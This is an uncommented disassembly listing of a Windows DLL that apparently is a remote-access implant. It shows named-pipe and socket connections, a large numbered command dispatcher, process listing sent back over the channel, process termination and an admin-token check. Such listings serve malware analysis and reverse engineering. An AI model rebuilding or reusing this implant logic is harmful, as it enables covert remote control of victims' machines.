mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov rsi, rdx
mov rdi, rcx
jmp 0x180014aed
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x180014b61
mov edx, 0x2710
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
test eax, eax
je 0x180014b52
mov rcx, rdi
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x100000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180014ac7
lea rdx, [rbp + 0x77]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov dword [rbp + 0x77], 2
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x180014b75
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, socket
mov edx, eax
call fcn.18000d508
jmp 0x180014bd8
mov ecx, 4
call fcn.18000d5d4
jmp 0x180014bea
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, socket
mov edx, eax
call fcn.18000d508
jmp 0x180014bea
lea rcx, [rbp + 0x17]
mov rdx, rbx
call fcn.180014a0c
mov r8, rsi
mov rcx, qword [rax]
mov rdx, rax
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x21], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x19], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x11], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 9], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp + 7], rax
mov rax, qword [rdx + 0x38]
mov qword [rbp - 1], rcx
lea rcx, [rbp - 0x29]
mov edx, 0x1bd
mov qword [rbp + 0xf], rax
call fcn.180014704
test eax, eax
jne 0x180014bea
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov rsi, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rbp - 9]
call fcn.180015424
lea rcx, [rbp - 9]
call fcn.180015494
lea rcx, [rbp - 9]
movzx edi, ax
call fcn.1800153e8
mov rbx, rax
call fcn.18000e0c8
mov edx, edi
mov rcx, rbx
call fcn.180010854
cmp rax, 0xffffffffffffffff
jne 0x180014dba
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x44
mov edx, eax
call fcn.18000d508
jmp 0x180014e1a
lea rcx, [rbp + 0xf]
mov rdx, rax
call fcn.180014ef0
bts edi, 0x14
mov rcx, qword [rax]
mov r8, rax
mov edx, edi
mov qword [rbp - 0x49], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x41], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x39], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x31], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 0x19], rax
mov rax, qword [r8 + 0x38]
mov qword [rbp - 0x21], rcx
lea rcx, [rbp - 0x49]
mov r8, rsi
mov qword [rbp - 0x11], rax
call fcn.180014704
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x180040400]
call qword [sym.imp.WS2_32.dll_ntohl]
jmp 0x1800156eb
cmp dword [rbx + 4], 0
je 0x1800156e7
cmp eax, dword [rbx]
jne 0x1800156e7
cmp dword [rbx + 0x10], 2
je 0x1800156e7
and dword [rbx + 4], 0
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x1800156d3
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rbp + 0x340], rax
mov rdi, rcx
mov ecx, dword [rcx]
mov r12d, 4
mov rsi, r8
mov ebx, edx
mov dword [rsp + 0x24], 1
mov dword [rsp + 0x20], ecx
add rdi, r12
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [rdi]
lea r13d, [r12 - 2]
sub ebx, 6
mov r14d, eax
add rdi, r13
call qword [sym.imp.WS2_32.dll_ntohs]
movzx r15d, ax
mov eax, 0x3ff
lea rcx, [rsp + 0x40]
cmp ebx, eax
mov rdx, rdi
cmovge ebx, eax
movsxd rbx, ebx
mov r8, rbx
call fcn.18001a590
cmp rbx, 0x400
jae 0x18001588f
mov byte [rsp + rbx + 0x40], 0
call fcn.18000e0c8
lea edx, [r12 - 3]
xor r8d, r8d
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_socket]
or rdi, 0xffffffffffffffff
mov rbx, rax
cmp rax, rdi
jne 0x1800157f9
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov edx, r12d
call rsi
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.18001ab10
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x450
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rcx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x18001580e
mov rcx, rbx
jmp 0x1800157bc
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x2c]
mov rdx, qword [rdx]
call fcn.18001a590
movzx ecx, r15w
mov word [rsp + 0x28], r13w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x24]
mov edx, 0x8004667e
mov rcx, rbx
mov word [rsp + 0x2a], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, edi
je 0x1800157bc
lea rdx, [rsp + 0x28]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, edi
jne 0x180015879
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x180015809
mov r8d, 0x7530
mov edx, r14d
mov rcx, rbx
call fcn.18001569c
jmp 0x1800157cf
call fcn.18001acc0
int3
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
mov rsi, rcx
lea rcx, [rax - 0x28]
mov rdi, r8
call fcn.180015434
lea rcx, [rsp + 0x30]
mov ebp, eax
call fcn.180015494
mov edx, 1
movzx ebx, ax
mov ecx, ebx
call fcn.180015adc
cmp rax, 0xffffffffffffffff
jne 0x1800158e9
lea edx, [rax + 5]
mov rcx, rsi
mov r8d, edx
call rdi
jmp 0x18001590b
mov r9d, 1
mov r8d, 0x2bf20
mov edx, ebp
mov rcx, rax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.1800155fc
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [0x180040400]
mov rdi, rcx
mov ecx, dword [rcx]
mov esi, edx
call qword [sym.imp.WS2_32.dll_ntohl]
mov ebp, eax
jmp 0x18001596a
cmp dword [rbx + 4], 1
jne 0x180015966
cmp ebp, dword [rbx]
jne 0x180015966
lea r8d, [rsi - 4]
lea rdx, [rdi + 4]
mov rcx, rbx
call fcn.180016144
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x18001594c
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.180015424
lea rcx, [rsp + 0x30]
call fcn.180015494
mov edx, 0xa
movzx ebx, ax
mov ecx, ebx
call fcn.180015adc
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800159e3
call fcn.180015bbc
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x28], r9d
mov edx, eax
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.1800155fc
jmp 0x1800159ef
mov edx, ebx
mov ecx, socket
call fcn.18000d508
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x180040400]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180015424
lea rcx, [rsp + 0x20]
call fcn.180015494
xor edx, edx
movzx ecx, ax
jmp 0x180015a52
cmp dword [rbx + 4], edx
je 0x180015a4e
cmp dword [rbx + 0x10], 2
jne 0x180015a3d
movzx eax, cx
cmp dword [rbx + 0x14], eax
je 0x180015a4b
cmp dword [rbx + 0x10], 3
jne 0x180015a4e
movzx eax, cx
cmp dword [rbx + 0x14], eax
jne 0x180015a4e
mov dword [rbx + 4], edx
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180015a2a
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.180015424
lea rcx, [rsp + 0x30]
call fcn.180015494
mov edx, 0xa
movzx ebx, ax
mov ecx, ebx
call fcn.180015adc
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180015ac2
call fcn.180015bbc
mov r9d, 3
xor r8d, r8d
mov rcx, rdi
mov edx, eax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.1800155fc
jmp 0x180015ace
mov edx, ebx
mov ecx, socket
call fcn.18000d508
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
sub rsp, 0x48
cmp qword [0x180040418], 0
je 0x1800162a1
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180015424
lea rcx, [rsp + 0x20]
call fcn.180015494
mov rdx, qword [0x180040418]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x18001628f
movzx ecx, ax
call fcn.1800199e4
add rsp, 0x48
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [0x180040418]
movsxd rbx, edx
test rcx, rcx
je 0x1800162c9
call fcn.180019c3c
lea eax, [rbx + 1]
movsxd rcx, eax
call fcn.180019c7c
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov qword [0x180040418], rax
call fcn.18001a590
mov rax, qword [0x180040418]
mov byte [rbx + rax], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
sub rsp, 0x28
mov eax, r8d
mov r10, rdx
cmp ecx, 0x31
ja 0x1800170ce
je 0x1800170b9
cmp ecx, 0x1b
ja 0x180016f25
je 0x180016f10
cmp ecx, 0xe
ja 0x180016e33
je 0x180016e1e
dec ecx
je 0x180016e07
sub ecx, 2
je 0x180016df7
dec ecx
je 0x180016de9
dec ecx
je 0x180016ddb
sub ecx, 4
je 0x180016dc7
dec ecx
je 0x180016db2
dec ecx
je 0x180016d9d
dec ecx
je 0x180016d8f
dec ecx
jne 0x1800173de
lea r8d, [rcx + 1]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180018d10
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f8c8
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011a44
lea r8, [0x18002cc40]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010414
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp fcn.180012a98
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f6f4
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ff9c
lea rcx, [fcn.18000cecc]
add rsp, 0x28
jmp fcn.18000f754
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp fcn.180012974
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800156f8
sub ecx, 0xf
je 0x180016f02
dec ecx
je 0x180016ef4
dec ecx
je 0x180016edf
dec ecx
je 0x180016ec4
dec ecx
je 0x180016eb6
sub ecx, 3
je 0x180016ea1
dec ecx
je 0x180016e8c
dec ecx
je 0x180016e77
dec ecx
jne 0x1800173de
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010ba0
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800144d0
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014674
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014530
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011c30
mov r8d, 1
lea r9, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012bf4
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015898
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800156bc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015920
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800191c0
cmp ecx, 0x27
ja 0x180017000
je 0x180016ff0
sub ecx, 0x1c
je 0x180016fe7
dec ecx
je 0x180016fd9
sub ecx, 2
je 0x180016fc4
dec ecx
je 0x180016faf
dec ecx
je 0x180016fa1
dec ecx
je 0x180016f93
dec ecx
je 0x180016f8a
sub ecx, 2
je 0x180016f7c
dec ecx
jne 0x1800173de
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000fd04
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800162a8
add rsp, 0x28
jmp 0x180014378
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800143e8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180017474
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800174f8
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800193d8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010240
add rsp, 0x28
jmp fcn.18001938c
lea rcx, [fcn.18000cecc]
add rsp, 0x28
jmp 0x18000fc90
sub ecx, 0x28
je 0x1800170a8
dec ecx
je 0x180017098
dec ecx
je 0x18001708a
dec ecx
je 0x180017082
dec ecx
je 0x180017074
dec ecx
je 0x180017059
dec ecx
je 0x180017054
dec ecx
je 0x180017046
dec ecx
jne 0x1800173de
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013914
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f9bc
xor r9d, r9d
jmp 0x18001705f
mov r9d, 1
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012b80
mov r9d, 1
xor r8d, r8d
jmp 0x180016e10
xor r8d, r8d
jmp 0x180016dcd
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013bc0
lea rcx, [fcn.18000cecc]
add rsp, 0x28
jmp 0x180013d60
xor r8d, r8d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013c10
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800192a8
cmp ecx, 0x49
ja 0x180017284
je 0x180017276
cmp ecx, 0x3b
ja 0x1800171c2
je 0x1800171b4
sub ecx, 0x32
je 0x1800171a6
dec ecx
je 0x180017198
dec ecx
je 0x18001718a
dec ecx
je 0x180017175
dec ecx
je 0x180017167
dec ecx
je 0x180017152
dec ecx
je 0x180017144
dec ecx
je 0x180017136
dec ecx
jne 0x1800173de
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f9e8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800100cc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011edc
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011f3c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001224c
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011fd0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ffe0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800159fc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015984
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001990c
sub ecx, 0x3c
je 0x180017268
dec ecx
je 0x180017258
dec ecx
je 0x18001724d
sub ecx, 5
je 0x180017241
dec ecx
je 0x18001722c
dec ecx
je 0x180017224
dec ecx
je 0x18001720d
dec ecx
je 0x180017202
dec ecx
jne 0x1800173de
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ff94
mov r9d, 1
xor r8d, r8d
jmp 0x180017216
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012c70
xor r8d, r8d
jmp 0x180016d81
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001498c
lea r8, [0x18002cc44]
jmp 0x180016db9
mov r8d, 1
jmp 0x1800170ab
lea rcx, [fcn.18000cecc]
add rsp, 0x28
jmp 0x180010918
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800109ec
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011e10
cmp ecx, 0x53
ja 0x18001735e
je 0x180017350
sub ecx, 0x4a
je 0x180017342
dec ecx
je 0x180017334
dec ecx
je 0x180017326
dec ecx
je 0x180017311
dec ecx
je 0x180017303
dec ecx
je 0x1800172f5
dec ecx
je 0x1800172e7
dec ecx
je 0x1800172d2
dec ecx
jne 0x1800173de
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015a60
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180018290
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800127e8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001625c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f76c
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010abc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000fe18
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012f64
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001228c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000c784
sub ecx, 0x54
je 0x1800173d4
dec ecx
je 0x1800173c4
dec ecx
je 0x1800173af
dec ecx
je 0x1800173a3
dec ecx
je 0x18001739b
dec ecx
je 0x18001738f
dec ecx
je 0x180017387
dec ecx
jne 0x1800173de
xor r8d, r8d
jmp 0x180016eca
xor r9d, r9d
jmp 0x18001707a
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x180016e10
xor r9d, r9d
jmp 0x180017208
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x180017216
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014d4c
lea rcx, [fcn.18000cecc]
add rsp, 0x28
jmp 0x18000c87c
mov edx, eax
mov rcx, r10
call fcn.18000c900
add rsp, 0x28
ret
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x40
and qword [r11 - 0x28], 0
xor eax, eax
mov r8d, edx
mov rdx, rcx
lea rcx, [r11 - 0x28]
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
call fcn.180015424
lea rcx, [rsp + 0x20]
call fcn.180015434
xor edx, edx
lea ecx, [rdx + 1]
mov r8d, eax
mov edi, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1800174cf
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800174e4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, edi
mov ecx, 0x23
mov r8d, eax
call fcn.18000d514
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x8c0]
sub rsp, 0x9c0
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rbp + 0x8b0], rax
mov rbx, rcx
mov r15, r8
mov edi, edx
lea rcx, [rbp + 0xb1]
xor edx, edx
mov r8d, 0x7ff
mov byte [rbp + 0xb0], 0
call fcn.180019f30
lea rcx, [rsp + 0x60]
mov r8d, edi
mov rdx, rbx
call fcn.180015424
lea rcx, [rsp + 0x60]
call fcn.180015434
lea rcx, [rsp + 0x48]
mov edx, 0x8000
mov r14d, eax
call fcn.18000d0c4
test r14d, r14d
jle 0x180017585
lea rcx, [rsp + 0x48]
mov edx, r14d
call fcn.18000d0f4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.180010ec0
test eax, eax
je 0x1800175a0
lea rdi, [0x18002cc48]
jmp 0x1800175b9
call fcn.180010f08
lea rcx, [0x18002cc48]
lea rdi, [0x18002cc4c]
test eax, eax
cmovne rdi, rcx
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18001771d
lea rdx, [rbp - 0x80]
mov rcx, rax
mov dword [rbp - 0x80], 0x130
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1800175f5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18001771d
mov r8d, dword [rbp - 0x78]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x180017633
mov ecx, dword [rbp - 0x78]
mov r9d, dword [rbp - 0x60]
lea r8, [rbp - 0x54]
mov dword [rsp + 0x20], ecx
lea rdx, str._s_t_d_t_d_n
lea rcx, [rsp + 0x48]
call fcn.18000d124
jmp 0x1800176be
lea rdx, [rbp + 0xb0]
mov r8d, 0x800
mov rcx, rax
call fcn.180017788
lea rdx, [rsp + 0x40]
neg eax
sbb cl, cl
and byte [rbp + 0xb0], cl
mov ecx, dword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov ecx, dword [rsp + 0x40]
or edx, 0xffffffff
test eax, eax
cmove ecx, edx
mov dword [rsp + 0x40], ecx
mov rcx, rsi
call fcn.180010ec0
mov r9d, dword [rbp - 0x60]
lea rcx, [0x18002cc4c]
test eax, eax
mov eax, dword [rsp + 0x40]
lea r8, [rbp - 0x54]
mov dword [rsp + 0x38], eax
lea rax, [rbp + 0xb0]
cmove rcx, rdi
mov qword [rsp + 0x30], rax
mov eax, dword [rbp - 0x78]
mov qword [rsp + 0x28], rcx
lea rdx, str._s_t_d_t_d_t_s_t_s_t_d_n
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x20], eax
call fcn.18000d124
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1800175f5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x48]
call fcn.180015468
lea rcx, [rsp + 0x48]
mov ebx, eax
call fcn.18000d184
mov edx, ebx
mov r8d, send
mov rcx, rax
test r14d, r14d
je 0x180017710
mov r8d, reloc.WS2_32.dll_shutdown
call r15
lea rcx, [rsp + 0x48]
call fcn.18000d0a0
mov rcx, qword [rbp + 0x8b0]
xor rcx, rsp
call fcn.18001ab10
mov rbx, qword [rsp + 0xa08]
add rsp, 0x9c0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x70
mov rdi, rcx
mov ebx, edx
mov esi, 0x20000
lea rcx, [rax - 0x48]
mov edx, esi
mov r12, r8
call fcn.18000d0c4
mov ecx, 0x20800
call fcn.180015378
mov edx, 0x400
mov rcx, rax
mov r15, rax
call fcn.18001546c
mov edx, 0x400
mov rcx, r15
mov r14, rax
call fcn.18001546c
mov edx, esi
mov rcx, r15
mov rbp, rax
call fcn.18001546c
lea rcx, [rsp + 0x58]
mov r8d, ebx
mov rdx, rdi
mov rsi, rax
call fcn.180015424
lea rcx, [rsp + 0x58]
call fcn.180015494
lea rcx, [rsp + 0x58]
movzx ebx, ax
call fcn.180015494
lea rcx, [rsp + 0x58]
mov r8d, 0x400
mov rdx, r14
movzx edi, ax
call fcn.1800154cc
lea rcx, [rsp + 0x58]
mov r8d, 0x400
mov rdx, rbp
call fcn.1800154cc
movzx ecx, di
call fcn.180018488
mov r9d, ebx
mov r8, rbp
mov rcx, rax
lea rax, [rsp + 0x40]
mov rdx, r14
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x20000
mov qword [rsp + 0x20], rsi
call fcn.1800183e0
lea rcx, [rsp + 0x40]
call fcn.180015468
test eax, eax
je 0x1800183ae
lea rcx, [rsp + 0x40]
call fcn.180015468
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.18000d184
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call r12
mov rcx, r15
call fcn.180015400
lea rcx, [rsp + 0x40]
call fcn.18000d0a0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, qword [0x180049770]
mov r14d, r8d
movsxd rsi, edx
mov rbp, rcx
mov r15d, pe_nt_image_headers64
test rdi, rdi
je 0x180018d4f
mov rbx, qword [0x180049778]
test rbx, rbx
jne 0x180018d8a
mov ecx, 0x200
call fcn.180015378
mov edx, r15d
mov rcx, rax
mov rbx, rax
call fcn.18001546c
mov edx, r15d
mov rcx, rbx
mov qword [0x180049770], rax
call fcn.18001546c
mov rdi, qword [0x180049770]
mov rbx, rax
mov qword [0x180049778], rax
test esi, esi
je 0x180018dc2
cmp esi, r15d
jg 0x180018dc2
xor edx, edx
mov r8, r15
test r14d, r14d
je 0x180018db5
mov rcx, rdi
call fcn.180019f30
mov rcx, rdi
mov rdx, rbp
mov r8, rsi
call fcn.18001a590
jmp 0x180018ddc
mov rcx, rbx
call fcn.180019f30
mov rcx, rbx
jmp 0x180018da8
mov r8, r15
xor edx, edx
mov rcx, rdi
call fcn.180019f30
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.180019f30
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
push rbx
sub rsp, 0x640
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rsp + 0x630], rax
mov rbx, r8
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea edx, [r8 + 8]
lea r9, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x180019216
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x20]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x20]
lea rdx, [rsp + 0x30]
mov r8d, 0x200
call fcn.1800197dc
test eax, eax
je 0x180019282
call fcn.180019568
lea r9, [rsp + 0x30]
mov edx, 0x400
lea rcx, [rsp + 0x230]
lea r8, str._s__admin_
test eax, eax
jne 0x180019258
lea r8, [0x18002c768]
